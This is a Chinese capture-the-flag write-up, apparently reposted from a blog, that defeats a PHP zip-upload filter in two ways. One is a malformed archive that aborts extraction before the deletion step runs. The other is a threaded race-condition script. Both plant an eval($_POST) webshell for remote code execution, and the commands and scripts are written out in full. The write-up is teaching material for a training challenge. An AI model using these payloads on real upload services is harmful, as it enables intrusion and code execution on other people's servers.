方法一 解压失败逻辑漏洞

参考p神的文章

核心代码

if($zip->extractTo($dir)){
        foreach (scandir($dir) as  $value) {
        //白名单检测
        }
        $zip->close();
        unlink($filename);
        return json_encode($result);
}else{
	return false;
}
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10

思路
既然我们传递非法文件进行解压时会被后台删除,那么我们上传错误的zip压缩包是否会被删除呢,从p神文章中可以知道如果是错误的zip那么后台直接退出从而没有后面的删除操作,还有就是其中正确的文件会被解压出来(而错误的不会被解压出来)。

我们可以本地测试一下,利用文件夹和文件同名且出现在同一个zip中
创建test.php,随便写入内容,然后依次执行下述步骤

zip -y exp1.zip test.php    //把shell.php文件压缩进exp.zip
rm test.php          //删除shell.php文件
mkdir test.php       //创建shell.php文件夹
echo 1 > ./test.php/1     //把1存进当前目录下shell.php文件中名字为1的文件中(可导致解压失败)
zip -y exp1.zip test.php/1   //把shell.php文件夹及其下1文件压缩进exp.zip
  • 1
  • 2
  • 3
  • 4
  • 5

在这里插入图片描述
我们看向文件结构,发现同时存在
在这里插入图片描述
而我们把该文件放到windows下解压会出现报错,其中test.php会被解压出来

那么我们按照上述步骤构造错误zip并且写入一句话木马
在这里插入图片描述然后将生成的zip文件复制到windows下,用脚本读取其文件内容并编码

import base64

tmp = open("D:\\ctf_tools\\exp.zip","rb").read()
print(base64.b64encode(tmp))
  • 1
  • 2
  • 3
  • 4

然后POST传参,得到上传路径
在这里插入图片描述
访问直接RCE得到flag
在这里插入图片描述

还有一种破坏压缩包的方式为用工具010,具体如下
创建shell.php和1.txt,然后用kali将它们压缩到同一zip下
在这里插入图片描述
然后用010打开,修改后面的1.txt为5个斜杠
在这里插入图片描述
然后解压就会发现只有shell.php被解压出来,同样可以得到flag

方法二 条件竞争

创建shell.php,写入

<?php
file_put_contents('/var/www/html/shell.php','<?php eval($_POST["shell"]);?>');
?>
  • 1
  • 2
  • 3

然后丢到kali压缩一下
条件竞争脚本

import requests
import threading
import hashlib
import base64
url="http://node4.anna.nssctf.cn:28893/"
sess=requests.session()
s = open('shell.zip','rb').read()
content=base64.b64encode(s)
data={'content':content}
i = hashlib.md5(content)
md=hashlib.md5(("/tmp/" + i.hexdigest()).encode()).hexdigest()s

def write(session):
    while True:
        resp = session.post( url,data=data )
def read(session):
    while True:
        resp = session.get(url+f'static/upload/{md}/shell.php')
        if resp.status_code==200:
            print('yes')
            
if __name__=="__main__":
    event=threading.Event()
    with requests.session() as session:
        for i in range(1,30):
            threading.Thread(target=write,args=(session,)).start()
        for i in range(1,30):
       		threading.Thread(target=read,args=(session,)).start()
    event.set()

  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22
  • 23
  • 24
  • 25
  • 26
  • 27
  • 28
  • 29
  • 30

当出现yes的时候说明成功写入
直接访问/shell.php命令执行即可
在这里插入图片描述

声明:本文内容由网友自发贡献,转载请注明出处:【wpsshop】
推荐阅读
相关标签
  

闽ICP备14008679号